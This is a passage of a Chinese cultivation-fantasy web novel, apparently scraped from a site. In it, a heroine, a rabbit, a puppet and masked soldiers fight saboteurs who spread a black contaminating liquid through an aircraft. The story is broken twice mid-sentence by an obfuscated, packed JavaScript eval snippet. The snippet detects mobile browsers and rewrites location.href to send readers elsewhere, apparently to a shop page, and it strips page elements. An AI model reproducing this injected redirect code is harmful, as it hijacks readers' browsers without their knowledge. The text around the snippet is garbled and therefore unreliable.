孙芮晗看她表情不对:“等等,你不会想挨个排查吧,那还不如守株待兔,反正他们必须进驾驶舱才能控制飞行器,只要看待会谁鬼鬼祟祟想接近驾驶舱就好了。” 林北柔:“他们有两个目标,要么进驾驶舱控制飞行器,在基地坠毁,如果进不了飞行器,就想办法把所有人杀了,所以他们不一定非要进驾驶舱。” 孙芮晗:“……” 孙芮晗感觉自己跟上了被害妄想的思路了:“不可能,那些军士修为都超级高,人形兵器级别,一两个内奸根本不可能打得过。” 林北柔:“他们不需要打,在飞机餐里下毒可不可以呢?” 孙芮晗摇头:“没有飞机餐,学员门派和信仰很多样化的,饮食规矩特别复杂,有的不吃猪,有的不吃牛,有的不吃鱼,还有的一点调味都不吃,基地才有分区食堂,飞行器上不会搞这些,全部是吃饱了饭上来的。” 林北柔:“那水呢,所有人都要喝水。” 孙芮晗:“是分装好的密封水,乘务员直接发给每个人,没有动手脚的空间。” 林北柔沉思。 孙芮晗一口气科普下去:“飞行器上也不允许携带法器,随身行李要开箱检查,法器都在底层的行李区,有军士看守,他们想动手,也不能靠法器法宝……呃?!” 她越过林北柔肩膀看到了什么,表情抽搐了一下,林北柔在思考没注意,孙芮晗轻轻拍了下林北柔肩膀。 孙芮晗:“你看那边。” 林北柔转过去,谢轻眠刚好坐下,坐在了她刚才的位置,也就是魏瑕旁边,并且一脸严肃地开口跟魏瑕交谈,魏瑕没有回应,谢轻眠好像也不在意,自己说自己的。 林北柔:“……” 这个魏瑕是人偶,万一暴露了会有什么后果吗。 孙芮晗好像误会了林北柔的表情,捂嘴附耳悄悄说:“不要担心,魏瑕进过禁区,他们说进过禁区的人回来后都不是他们自己了,不正常,不会受到任何诱惑。” 林北柔:“那你当初还?” 孙芮晗:“我当时还不了解,以为他是个普通男人,没想到他……” 孙芮晗声音减弱,把不是人咽回去了,孙芮晗现在对魏瑕有一种说不清道不明的深层恐惧。 林北柔:“我想去普通舱看看,该怎么去?” 孙芮晗:“去不了,他们不允许串寝。” 谢轻眠突然发出一声短促低叫,附近其他人都看了过去,有人上前关心。 “啊?被兔子咬了?”“流血了,有创口贴吗。” 有个原本就看不惯魏瑕的男性世家子不阴不阳地说:“兔子还能把人咬出血?魏瑕,你这兔子不是兔子吧,伤了人按规定得没收送去检查。” 他直接打开箱子上面,手伸进去抓住兔耳朵,想把兔子提起来。 林北柔一声爆喝:“手拿开!!!” 那人被分贝声震得顿了一下,瞥了一眼林北柔,脸上露出不屑,手上根本没有停,就这样抓着兔耳朵往上提,兔脚快要离地。 下一秒,他脑子猛地晕眩,好像一口铜钟敲响,身体不受大脑控制。 路人视角中,那人先是表情僵硬,然后身体也不动了,手无力地垂了下来,松开了兔耳,灰兔本来柔柔弱弱毫无反抗之力似的,忽然就水灵灵地一个弹跳甩腿蹬了他的手腕。 啪嚓。 所有人都听到了腕骨骨裂的声音。 孙芮晗下意识地说:“哦豁。” 那人根本感觉不到手上剧痛,他视野晃荡,所有人都变了样子,没有一个人的脑袋是人,有家禽家畜,牛马猪狗一类,还有的连哺乳动物都不是,居然是鱼蛇,蟾蜍,甚至还有蝉,苍蝇,全部齐刷刷一百八十度拧过来盯着他。 魏瑕在原位消失了,他的视野中,魏瑕的座位上没有坐任何人。 就连孙芮晗的脖子上,都是一颗稀里糊涂的山羊脑袋。 全场唯一的人,是林北柔。 她隔着一段距离看着那人,眼底闪烁着蓝紫色,脸在不断快速变化切换。 嗔怒,悲喜,哭笑,水鬼,吊死鬼,饿鬼,如同川剧变脸,模糊出重影,然后定格在冷漠无表情的人脸上。 同一张脸,多重表情。 那人根本无法控制恐惧疯狂蔓延。 这些脸是疯子的脸。 现实中林北柔只是跑了过去而已。 那人却看到林北柔原地不动,举起一面镜子,镜子里映照出他自己的模样,那让他瞬间爆发出听不见声音的惨叫。 失控幻觉,再这样下去会极度危险,那人拼了这辈子所有修行,咬住后槽牙,强行点了几处大穴,过了十多秒猛地吐出一口血。 “咳咳咳——” 咚的一声,膝盖一疼,他恍惚感觉到自己跪到了地上,听到了真实的人声,余光看到了同伴的脑袋,正常的脑袋,现实和幻觉无缝切换。 林北柔一把抱起灰兔,灰兔屁股冲着外面钻进她臂弯,热乎乎软糯糯的。 林北柔像一个狂怒大熊猫护着未满月熊猫崽,冲那人嚷:“你再碰它一下!” 她手指特别轻柔地抓挠灰兔耳朵,好像想把脏东西给它呼噜走一样。 那人勉强被同伴扶了起来,同伴问他:“你怎么了?身体哪里不舒服啊?” 那人指着林北柔,对听到动静过来喝止学员的军士说:“教官,她违反禁令,她刚刚用修为攻击我。” 覆面军士看着林北柔,林北柔被他目光蛰了下,发现 林北柔整个一莫名其妙,识时务地伸冤:“教官,我没有啊!” 谢轻眠捂住被咬出血的手指,手指上包着的卫生纸都染红得不剩多少干净边角了,她望着林北柔,非常轻地冷笑了下。 谢轻眠:“教官,我作证,我看到了她发动天赋。” 覆面军士:“所有人各回各位。” 他命令简短,声音低沉,学员们马上照办了,几秒钟内头等舱就恢复了秩序。 覆面军士盯着林北柔:“你,过来。” 违抗覆面军士,最好的下场是被遣返,再也没有进入基地的资格。 曾经有犯了过还想袭击人的世家子,被覆面军士打成了轻微残疾,事后想要追究也失败,因为军士隶属的北落师门只听紫微垣的命令,现在紫微垣空悬,基本上他们是独立于组织了。 孙芮晗知道每次基地飞行器上的覆面军士都是从北落师门调过来随行护卫的,也是当初天才中的天才,坐头等舱去基地训练,毕业后又无数次出生入死,挣下军功,无人想要领教覆面军士的实力。 从基地毕业后,所有人心目中最想去的也是最难去的地方,就是北落师门。 魏瑕就曾经是北落师门的少将。 虽然他现在和组织关系一落千丈,世家子们都有内部消息渠道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502942|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都知道他被撤销了军衔和职位,组织想要把他重新遣回基地,限制在昆仑地下区不准外出。 孙芮晗拼命给林北柔使眼色,做口型:“照,他,说,的,做。” 林北柔稍微挣扎了下:“教官,我真的没有发动什么修为。” 覆面军士走到她面前,足足比她高出一个半脑袋,而林北柔都不算矮的,在他面前也像个小学生,他伸手拿出一个很小的仪器,在林北柔旁边的空气里嘀了一声。 覆面军士:“残留值,73。” 林北柔抱紧灰兔:“……什么意思?” 她看到不远处孙芮晗露出震惊的表情,其他老实回到座位的人也神色各异地看着她。 谢轻眠忽然站了起来:“教官,不止是林北柔,魏瑕也违反了禁令,他携带了违禁品。” 林北柔:“什么违禁品?” 覆面军士向魏瑕走了过去,他的背影挡住了林北柔的视线,林北柔不知道他检查了什么,他拿起通讯器招来了另外两个军士,他们的臂章和他不一样,级别比他低一些。 覆面军士:“带他们去禁闭室。” 一个军士握住魏瑕手臂,把他带了起来,魏瑕没什么反应,也没有反抗,另一个军士却盯着他,处于全副戒备状态,两人先带魏瑕过去了。 林北柔悬着的心放了回去,果然只有她一个人才能发现魏瑕不是本人。 覆面军士走回林北柔面前,朝通道方向颔首,示意她过去。 林北柔:“……教官,我能把兔笼子拿上吗,不然它可能会在禁闭室拉粑粑。” 覆面军士盯了林北柔一眼,林北柔放弃了兔笼子,看到覆面军士走开了,数秒后,单手提着宠物笼子走回来。 林北柔抱着兔子老老实实过去了,覆面军士走在她后面。 走进通道,林北柔回头小声说:“教官,飞机上混进了奸细,教官你不能把我关禁闭室,我要找谁是内奸。” 覆面军士拉开通道门,示意林北柔继续走。 普通舱比头等舱大,人偶走在前面,被两个军士押着,一下子引发了所有人瞩目,一时间脑袋攒动,还有人站起来想看清传说中的魏瑕,军士一声喝令,学员们又都低下头老实坐好,倒是没人注意到后面的林北柔。 每个学员看起来都很正常,表面上看不出异常。 甲方说的她可以肉眼看见污染,林北柔下意识就用出了天赋,刹那间,视野内全是污染。 只有少数人身上还算勉强,其他人身上的蓝紫色都很严重,有的近乎黑色,好像被沥青泼了一遍,头发衣服都在淅淅沥沥往下滴,面相却很正常,还在和旁边的人低声说话。 最严重的人嫌疑可能就是最大的,毕竟接下去对方要杀了所有人,就要下定这样的决心。 林北柔目光锁定了四个污染最深的人。 覆面军士的仪器发出了嘀嘀声,林北柔的修为触发了警报。 覆面军士伸手按在了林北柔肩膀上,不重,林北柔瞬间看不见污染了,好像被人按了电源关闭键。 覆面军士语气平平:“编号四,你不老实。” 这又是什么新奇的叫法,林北柔愣了下,赶紧表态解释:“教官我说的是真的。” 覆面军士:“你想被取消资格?” 林北柔:“……一直关禁闭室想尿尿怎么办。” 覆面军士:“关你们一小时,多一句话,加一小时,再动用修为,资格取消。” 林北柔不说话了。 现在不能动手,一是打不过覆面军士,二是不能被取消资格,否则怎么进禁区。 他们穿过普通舱,抵达了后舱通道,左转即是禁闭室,有三个隔间,每个都只能容纳一人站着或者坐着,军士让魏瑕人偶进了第一个,覆面军士打开了第二个隔间,看着林北柔进去了,把兔笼放地上,看着她,然后关上了门。 禁闭室没有一点凸起的地方,就是墙和地板,同一个色,没有舷窗。 林北柔摸着兔子,回想刚刚看到的那四个污染最严重的学员的位置。 林北柔从外套口袋里拿出一个很扁的小盒子,打开,里面有一枚像纽扣电池的东西,这是孙和铃给她的,可以在不能动用修为的情况下使用。 林北柔按孙和铃教的,启动了纽扣电池,把它贴在了门锁上,十秒倒数,门锁发出轻轻咔哒一声。 林北柔以树懒一样的速度,慢慢拉开门,留出一条细缝,让她足以能听见通道外普通舱的动静。 附近就有军士在把守,林北柔听到了他们的声音,有个军士好像是接到了什么电话。 军士:“少校,出事了。” 覆面军士:“说。” 军士:“魏抒培死了。” 林北柔瞳孔微微睁大。 魏抒培,她只见过一次,他是魏家的骨干,是家主候选,掌握着魏家的实权,血缘上是魏瑕的远方堂兄,对魏瑕很有敌意。 军士快速补充:“魏抒培手里有一票,12个小时后,太微垣就要投票决定魏瑕去留,一部分元座们决定永久撤回魏瑕军衔,将他留在昆仑地下区,等以后需要再临时起任,现在魏家变天,宁西雍直接带人扫平了魏宅,现在魏家实际掌权的就是他,多了一张否决票,刚好成了11票赞成,12反对,1票弃权。” 元座,是太微垣最高决策层的成员,每个人的信息都是保密的,林北柔听孙和铃说过,都是些年纪特别大的,有的甚至有一百五十岁,是目前人类寿命的极限,他们非常惜命,从来不露脸。 覆面军士:“这和我们有什么关系?” 军士放低声音,林北柔不得不全神贯注才听清了:“将军说,必须马上拿到魏瑕通敌的证据,不限手段,只要别让他死,也别让他残疾,不给对立派系留把柄就行,下了飞行器,把他移交给基地,就没这个机会了。” 林北柔:…… 她倒是不担心,现在这个魏瑕只是阴间祖宗造出来的人偶,用什么手段都等于零。 覆面军士缓缓问:“你们谁有本事,让他开口么?” 空气安静了几秒,另外一个军士开口:“少校,那个魏瑕都要去基地了,还带着宠物,那只兔子对他肯定有大用。” 握草尼跌。 林北柔轻手轻脚关上门,表情略微狰狞,也顾不得被发现了,她现在就只有短短十多秒。 灰兔还蜷缩在她怀里,特别乖,鼻子翕动着,偶尔动动耳朵和脚脚,毛茸茸的,暖呼呼很软,抱在怀里一团很有分量,不知道为什么,林北柔就是觉得这只小兔智商特别高,跟个几岁的孩子没区别,堪比边牧了。 谁要动她的小兔,她就要谁死。 林北柔闭上眼睛直接发动修为,神识刹那浮空,俯瞰机舱,闪电一样窜到了头等舱,锁定住了最前排还在闭目养神的一个人。 林北柔的神识对着那人耳朵放开了音量:“莫衡,快来救老娘,你不是要魏瑕通敌的证据吗,再不来证据要被别人拿走了!” 63. 第 63 章 禁闭室的门关上不到十秒,就被打开了,覆面军士站在门边,投下一道阴影,笼罩了林北柔。 覆面军士:“你违禁了。” 林北柔谴责:“你们把我关到这么小的地方,兔兔都吓得尿了,我有洁癖,刚刚想用修为清洁一下。” 覆面军士的面巾把下巴也遮住了,头上也戴着军制头盔,整张脸唯一能看清的就是眼睛,林北柔说完后,就看见那双眼睛里闪过一丝情绪,乍然间以为是无语或者笑意,其实是稍纵即逝的错觉,对方的情绪是长官对不服从的士兵。 覆面军士:“兔子给我。” 林北柔抱紧灰兔,脸上毫无友好之意,戒备盯着他不说话。 覆面军士不和她废话,上前直接对兔子伸手,林北柔一转身背过去护住灰兔,弓腰弯身,跟要被没收手机的小学生一样,然后就感到身体一轻,被举了起来,林北柔知道打不过,急中生智把灰兔轻轻往地上一扔:“快跑!” 灰兔落地就不见了踪影。 两个军士马上追了过去。 林北柔大松口气,人还悬在半空的,覆面军士从后面单手把她腰捞了起来,也不知道他用了什么手段,还是点了她什么穴位,林北柔腰都使不上力气,只能转过去骂:“快把我放下来!” 覆面军士纹丝不动,铁箍一样的力气让林北柔下意识有点似曾相识,却被打断了思路:“女士,你的行为已过红线,抵达基地后,你进入基地的资格被取消了,航次结束,会安排你原路返回。” 林北柔也不装乖了:“你没权限取消我的资格!” “荀少校,请你把林北柔放下来。”莫衡的声音从门口传来。 林北柔双脚落回了地上,但人没有被放开,覆面军士握住她一只胳膊,不让她离开,转身面向来人。 莫衡:“虽然我也要去基地,但我不是学员身份,禁区名单上有我,而我的军衔大于你,你得叫我长官,我要跟她单独说话,你先出去,这是你上级的命令。” 林北柔站得离覆面军士很近,看清了他脖子上挂的军人保障标识牌。 荀照乘。 荀少校无动于衷:“你不是我上级,我上级是北落师门最高将帅,有意见,找他。” 莫衡:“你想抗命?” 荀少校:“不存在,你被污染了,我不用听被污染的废人的命令。” 林北柔:好毒舌。 莫衡脸上没什么表情,眼神阴了下来。 机舱忽然颠簸,整个空间一下子暗了,照明灭了一大半,林北柔:“是内奸,他们要袭击飞机!” 她的话淹没在一片刺耳的叫喊和警报中,机舱传来分不清谁是谁的吵嚷和叱喝,没人知道到底发生了什么,林北柔清晰无比地听到一句“去头等舱!头等舱有防护!” 一阵更强的颠簸,所有人都站不稳摔在了地上,林北柔没有,她摔在了荀少校身上,他穿着黑色制服,制服很硬,身体更硬,林北柔感觉跟摔在了铁块上一样,荀少校抓稳了她的胳膊,把她抬起来,让她不至于跟他完全贴着,搞得姿势尴尬。 “待在这里别动。”他低声说,林北柔在黑暗中只能看清他眼眸中微弱的反光,听到衣料摩挲声,然后是军制靴沉重的远去声。 莫衡也不见了,估计是去找闹事的了,林北柔发动天赋,眼睛视力瞬间加强,冲出去在黑暗中看清了一切。 普通舱在混战,发起袭击的有两个人,奇怪的是他们全身都是黑的,辨别不出衣物和长相,乍一看像两个穿了黑胶衣的皮套人,又像二维动画中的非人,他们手中发出一道又一道黑色液体,像石油一样飚射出长长的蜿蜒的轨迹,击中学员们,很快那些学员身上也开始染黑,不论性别年龄,都开始同化成全身黑乎乎的,被击中的学员发出混乱的喊叫。 林北柔清楚看到,被击中的人都失去行动能力,歪在椅子上,或者躺在地上,脸也都是流动的沥青状,很多人当场死亡,现场变成了屠杀。 那些靠近通道门没有被击中的,也好不了哪里去,那种黑色不明物好像会传染一样,一点一点染上他们的身体。 “我用不出天赋了!”“这玩意能封锁修为!”“我们变成普通人了!”“去头等舱!去头等舱!” 众人扑到通道门口想打开门,然而通道门设立就是为了防止万一,开门权限只有机长才有。 飞行器上有六名军士,头等舱两名,普通舱四名,林北柔看见四名军士十分娴熟地占据点位,覆面军士指挥他们攻击敌方二人,机舱空间太小,人又太乱,全部想往头等舱挤。 不少人情绪上头,就算不能用修为,也朝那两个黑胶人发起了攻击,结果显而易见,统统惨遭反噬重伤在地,好在军方攻击配合有效,不到三十秒就干掉了两个黑胶人。 空气缓解了一瞬,噪音变弱。 下一秒喊叫声刺破短暂安静:“死人了!” “我朋友死了!”其他人也喊了起来。 林北柔出奇冷静,胜身洲她遇到过比这个还混乱的情况,听到死人了,心跳速率都没怎么变,蹲下来潜行,往座位底下看,到处找兔子。 想进头等舱的人已经出离了愤怒,对着头等舱的门破口大骂:“你们这些贱畜世家!见死不救不得好死的东西!开门!开门!” 通道门纹丝不动,头等舱那边更是听不到任何动静。 一门之隔,就是两个阶级世界。 然而普通舱的人,也已经并不普通了。 莫衡:“乘务长!恢复供电!” 他声音就在林北柔附近,林北柔听到一个声音沉着回答他:“不行,莫少将,系统受到了攻击,现在强行重启供电,恐怕头等舱那边的通道门会意外开启,只能先让他们退开,保证没人会第一时间冲进通道门。” 莫衡:“先不管他们,重启!这是命令。” 乘务长的后台明显没有荀少校来得硬,顿了一顿就说:“是,莫少将。”转身匆匆去了后台。 林北柔看到莫衡去了袭击者位置,从地上捡起了一个什么东西。 周阆屿说过,莫衡出身一个没落的世家,到他爷爷那一代,他们许家就退行回普通人了,他出生后血脉天赋重现,是许家重返修行世家的希望。 结果莫衡严重幻视幻听,差点被逼成疯子自尽,好不容易好了,进入了组织,成为四号候选,又意外被污染,天赋损毁,只能止步于少将之位,无法再成为四号。 偏偏那起污染事件背后的主谋,还是魏瑕。 和被周家抱走、又被送到向光山佛宗接受最顶级修行训练的周阆屿不一样,莫衡内心并不佛系,他最想要的,是净化元神里残留的污染,恢复天赋。 为此他能做出任何事。 林北柔想起了他在亲生父亲和亲生妹妹丧礼上的表现。 ……不顾头等舱死活,也要打开通道门,难道内奸是他吗。 然而下一秒,就在乘务长背影消失后,林北柔就看到莫衡离开了原来的位置,朝禁闭室走去。 她走了,禁闭室唯一关着的是魏瑕。 莫衡觉得是魏瑕本人。 电光火石间,林北柔明白了莫衡想要干什么。 那她要不要过去救阴间祖宗的人偶? 照阴间祖宗的性子,恐怕在人偶上下了什么禁制,一旦触发,绝对引发什么连环爆炸,不用内奸完成计划,所有人直接空中原地嘭嘭升天。 林北柔想通,果断折返。 乘务长重启了照明,普通舱恢复了视野,除了覆面军士和四个军士,所有人变成了黑胶状态,那些能挣扎的还在不断试图打开通道门。 有个军士骂:“谁开的照明!” 覆面军士声音平静:“五秒内离开通道门,否则视为袭击者,倒计时,五,四——” “我X你XX——”有人激动回骂,那些变成了黑色但还没有失去力气的人继续拥堵在通道门前。 倒计时归零,通道门附近的人都被震飞,七零八落落了下来,门暂时守住。 覆面军士环顾四周,和林北柔对上视线,林北柔一缩脖子,躲到座位后面去。 军士:“袭击者尸体不见了!” 地上几个躺着的学员缓缓立了起来,他们依然没有意识,双手聚集起流动的黑色液体,甩水袖一样砸到了通道门上,黑色液体开始侵蚀门。 门上亮起电路线一样的东西,黑色液体沿着那些东西,不断流窜,很快,电路线就闪闪烁烁中断。 林北柔忽然明白了。 让这么多被不明黑色液体污染的人破坏门上的法阵禁制,目标是打开通道门。 这样他们才能进头等舱,才能进驾驶舱。 林北柔看到莫衡站在禁闭室门口,在门上用什么东西一笔一划写了个很复杂的符,门就开了。 魏瑕人偶坐在禁闭室,没有反应。 莫衡朝魏瑕举起了手里拿的东西。 林北柔心都悬了起来:“别动!” 莫衡转过来看向林北柔。 林北柔:“你要干嘛,你手上是什么快放下来。” 莫衡:“你看这是什么?” 他手上拿着一枚古币,林北柔见过。 前段时间,她和周阆屿还被请去安全局,张组长让他们看了一段录像,这种古币可以净化持有人内心的怨恨,却会制造出更多污染。 刚才莫衡从地上捡起来的就是这个东西。 林北柔:“那个假的什么印?” 莫衡:“伪造的不周无量印,污染一旦侵入人体心神,强度增幅,就能打开通道门的禁制。” 林北柔:“那你赶紧拿这个去对付他们啊!” 莫衡:“没有真印,伪印不可能被制造,这次的袭击,魏瑕是重大嫌疑人。” 林北柔:“所以?” 莫衡:“伪印无法被销毁,除非重伤其持有者,如果魏瑕是伪印的主人,封住他元神,就能中断伪印扩散污染,我是在救飞行器上所有人。” 林北柔语塞,莫衡说的完全合情合理。 伪印确实像阴间祖宗能干出来的事。 但林北柔不觉得这次袭击是司空晏干的。 封住元神,就要先接触元神。 莫衡要是触碰人偶的元神,人偶元神里的禁制,百分百直接发动。 然后一飞机的人可以直接去西天了。 因为林子倩和大姨都是信耶稣他老人家的,林北柔到时候还得中转一下,去耶稣他老人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591202|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边,方便到时候一家人团建。 林北柔妥协了:“……好吧,不过我把他带出来,你别动,你先拿着伪印,免得他碰到了,你先站远点。” 她的理由也很充分,莫衡退开了两步。 林北柔进入了禁闭室,魏瑕人偶眼睛黑魆魆地望着她,和本人没有一丝一毫区别,如果不是林北柔过于熟悉司空晏的气息,他的心性与性情,也会被这样的以假乱真迷惑。 孙和铃跟她说,魏瑕这次被组织带去加固了身上的封印。 所以,莫衡以为人偶身上有封印才这么老实。 刚刚荀少校接到消息,魏抒培死了,魏家变天了。 林北柔觉得这肯定是阴间祖宗搞的。 这祖宗现在到底躲哪个地方看热闹呢。 林北柔温温柔柔恭恭敬敬地说:“魏总,我先扶你出去,你配合一下……” 她也在赌。 万一人偶对她也有攻击性,那就彻底没辙了。 林北柔握住魏瑕的手臂,缓缓拉拽,魏瑕顺从了她的力道,站了起来,抬脚往外走。 林北柔大松口气,慢慢地拉住魏瑕走出禁闭室,同时望向莫衡:“要是待会荀少校问,你负责解释。” 莫衡上前一步:“扶稳他,我要探他元神。” 林北柔:“嗯嗯。” 她抬起眼睛,眼底蓝紫色闪烁,天赋发动,给莫衡大脑咣当来了一下大的,趁莫衡一个不防备,抢下伪印,抬脚把人踹进了禁闭室,砰地关上推拉门,禁闭室重新自动上锁,动作行云流水不超过1.93秒。 失忆版本的林北柔,绝对做不到上述身法。 正常普通人类也做不到。 甚至普通舱和头等舱学员也做不到。 这是三百多年在胜身洲日复一日的厚积薄发。 莫衡对林北柔没有任何预期和警惕,才让她得手了。 莫衡摔在禁闭室地板上,先是一脸错愕,接着表情变化不定,从低笑变成狂笑,呛咳发抖,半躺在地上,好像这辈子没遭遇过这么好笑的事。 林北柔:“嘶……” 隔着厚厚的门,她什么都听不见,就是有点提心吊胆,她是彻底得罪了莫衡了。 之前才说要把魏瑕涉嫌伪造不周印的证据给莫衡,现在转头就背刺。 刚刚莫衡是用伪印打开的门,现在伪印在她手里,魏瑕人偶也在她手里,莫衡暂时出不来了。 林北柔点点头,情况很简单,她要用伪印去回收污染,阻止袭击者破坏通道门。 魏瑕人偶忽然动了,他主动牵住了林北柔的手,这种裹她小指的牵法,倒是熟悉到了骨子里,林北柔怔住,一个激灵扭头,人偶脸上还是那样人偶,眼神没有什么焦点,看着在发呆。 吓她一跳……祖宗制造人偶时,会加入自己的血,人偶继承了一些他的身体习惯之类,属于身体记忆。 林北柔:“魏总,你乖乖的,待会打起来,你可以打回去,千万别发动你身上任何修为哈。” 魏瑕人偶的回应是继续牵住她,那种牵法根本甩不开。 林北柔没时间浪费了,直接回牵起魏瑕,快步走进普通舱,做好了战斗的准备。 普通舱空无一人,准确说是空无一活人,照明半明半暗,尸体到处都是,黑色在消褪,露出了他们本来的模样,脸上的表情让人很不适,好像他们在死前看到了内心最恐惧发生的东西。 通道门被大大打开了,不知道是什么力量直接扭曲了上面的禁制,门损毁严重,只能看见漆黑的通道。 头等舱那边传来了可怕的战斗声。 林北柔张大嘴,不知道王德发到底发生了什么。 怎么门就开了?刚刚她过来才不到一分钟究竟发生了什么? 林北柔一手抓紧伪印,一手牵着魏瑕人偶跑了过去,刚跑进去就听到孙芮晗痛苦的惨叫。 头等舱里正在大混战,世家子的元神里都有家族防护,没有被黑色不明物污染彻底,只不过看起来一个个像在煤矿里滚了一圈,上流修行世家的气质荡然无存,表情也很狰狞,和那些普通舱被传染的黑色人打成一片,后者突破防线,直接朝驾驶舱发起了进攻。 孙芮晗被两个黑色人压在地上,半边身体都染成了黑色,另外半边身体发出光芒,和黑色相抗,快扛不住了,她的呼吸越来越微弱,正被两股力量撕扯。 孙芮晗:“救命……” 林北发动修为,居然强行激活成功,伪印旋转着浮空,吸走了孙芮晗身上的污染,孙芮晗捡回一条命,趴在地上嘶哑喘气。 旁边响起一个声音:“你不是在禁闭室?谁放你们出来的?” 谢轻眠震惊地看着林北柔,又看向她旁边的魏瑕,再看向半空中不断吸收污染的伪印。 谢轻眠:“林北柔,奸细是你?!” 她这句话贯穿力很强,附近头等舱学员都听到了,只见林北柔一个人水灵灵站在那,身上一点黑泥点子都没有,半空中伪印旋转,如同在操纵污染,一时间看她的眼神全都充斥了杀意。 “是林北柔和她姘头!”“是魏瑕和他女朋友!”“他们果然是一伙的!”“怪不得刚刚故意被关去禁闭室,肯定是想污染普通舱学员!” 64. 第 64 章 林北柔修为开启,听到了无数嘈杂心声,多数人认定了她是袭击者,只有少数心声是理性的。 “不对,他们本来就在头等舱,要袭击直接在头等舱就行了……” 林北柔:“都安静——” 头等舱中了污染的人理智也受到了影响,无法冷静思考,林北柔只看见无数个红了眼的人朝她冲了过来,手上各种闪光直接朝她招呼。 偏偏她旁边站着魏瑕人偶。 魏瑕人偶抬起眼睛,眼底折射出那些人手中的闪光,庞大的能量波从他身上涌了出来,第一个冲在最前面的人接触到了无色无味的能量波,刹那身上就烧了起来。 “啊啊啊——”“着火了——”“不是一般的火,扑不灭!” 能量波膨胀,引爆了什么东西,巨响过后,机舱内壁出现了轻微破损,这已经是非常坚固的材料了,还有几个着火的发出惨叫。 林北柔:“停!” 林北柔控制伪印,逆转能量,正在吸收污染的伪印瞬间井喷出大量黑色液体,劈头盖脸把所有人浇趴在地上,消灭了一场连环爆炸事故,着火的也被喷晕过去了,除了孙芮晗,她躺在战场之外没有被波及,手颤颤巍巍指向驾驶舱。 林北柔看向驾驶舱,门已经被黑色污染物渗透出了一条缝,不断有黑色液体钻进去。 还有四个能动的黑色人形,正在破坏驾驶舱门,门上禁制肉眼可见地亮光变弱,这四个人形还能勉强辨认衣物,穿的都是头等舱学员的衣服,林北柔先前还专门记过。 刹那间,林北柔觉得不对劲,袭击者的尸体不见了,剩下这些都是被污染的学员,变成了袭击者的傀儡,那袭击者哪去了? 头等舱和普通舱之间的门又是怎么被打开的。 林北柔扔出伪印,让它跟那四个黑色人形干架去,伪印不愿受林北柔控制,林北柔只能强行催动它,当场鼻血就流下两行,鼻腔火辣辣的,好在勉强镇压住了伪印,伪印不情愿地从那几个黑色人形上吸走了污染,他们的动作顿时迟缓,但门上已经出现的缝隙却无法填补,往里面钻的黑色液体也无法被伪印回收。 林北柔跑过去拉起孙芮晗:“荀少校呢?!那些军人呢?!” 孙芮晗上气不接下气:“……少校说是调虎离山,他们去……行李舱了……” 林北柔:“啊?!” 林北柔:“什么调虎离山?驾驶舱他们不管了吗?!”光靠她一个人根本没办法驾驭伪印,现在这样就是她的极限了,撑不到三分钟,驾驶舱百分百会被攻破,到时候隐蔽在不知道哪儿的袭击者,就会现身侵入驾驶舱。 孙芮晗缓了口气语速加速:“驾驶舱遇袭,就会触发飞行器上的应急系统,行李舱会瞬间把特殊物品加固上锁,对袭击者来说,相当于把特殊物品直接标记了出来,他们就不用自己找了,这是一个设计缺陷,但是没人能想到敌人真的能袭击到驾驶舱啊……” 林北柔:“他们要偷东西?偷什么特殊物品?” 孙芮晗:“偷特殊物品,控制驾驶舱,多线并行,不是单一目标的袭击,我也是才知道,行李舱有涉外特殊物品!!” 林北柔懵逼了:“到底什么东西?!” 孙芮晗:“保密级别非常高,我刚刚听到荀少校和他上级联络了,现在只有荀少校才知道,反正就是一旦被偷走了,会引发我们和其他国家战争的东西!!第三次世界大战!!!” 林北柔深深吸了口气:“……我有个问题,请问这样的东西,怎么会在这个飞行器上呢?” 孙芮晗:“好像本来就是要送去基地保管,任何开往基地的飞行器都要经过重重批准,还要限定时间和数量的!只能用这种飞行器运送!!他们把三个仿品放在了另外三架飞行器上,和我们的飞行器一起同时出发的,我刚刚听到另外三架也遇袭了!” 林北柔更疑惑了:“所以我们飞行器上的这个东西才是真的?你又怎么知道?” 孙芮晗:“我听他们打电话了啊!不然为啥荀少校要撇下我们冲去行李舱!” 林北柔觉得不对劲,眉头皱得死紧:“驾驶舱受到攻击,行李舱应急机制触发,荀少校他们第一时间赶过去,那袭击者肯定会分成两部分,一部分留守进攻驾驶舱,另一部分和荀少校他们抢时间,或者不需要抢时间,而是早就用某种办法偷偷溜进行李舱了,潜伏在那边,就等着应急机制出发,标记出特殊物品,但行李舱和其他区域是完全独立的,也没有通道门,直接隔离死了,就算行李舱大爆炸了,也影响不到乘客舱和驾驶舱,荀少校为什么把六个军士都带走了,头等舱一个都不留,让驾驶舱完全暴露给敌人……” 孙芮晗也糊涂了:“那又怎么了,所以我说那个物品肯定是真的啊!他把人都带走了去保护那个物品了啊!” 林北柔:“但是行李舱没有门啊!他们怎么去行李舱的?我来的路上根本没看见他们人!行李舱不是在尾舱下面吗,我刚刚就在禁闭室外面,尾舱那边很安全啊!” 孙芮晗也急了,嚷嚷回去:“基地飞行器又不是普通飞机!飞行器上的空间是分层的!有暗道!就是简易的空间传送!不是物理上的门!这种舱内空间传送除了机长,只有荀少校他们才有权限!袭击者只能攻破物理通道门,他们没有权限,进入不了空间传送!” 林北柔骂道:“你怎么不早说!” 孙芮晗委屈:“你又没问我。” 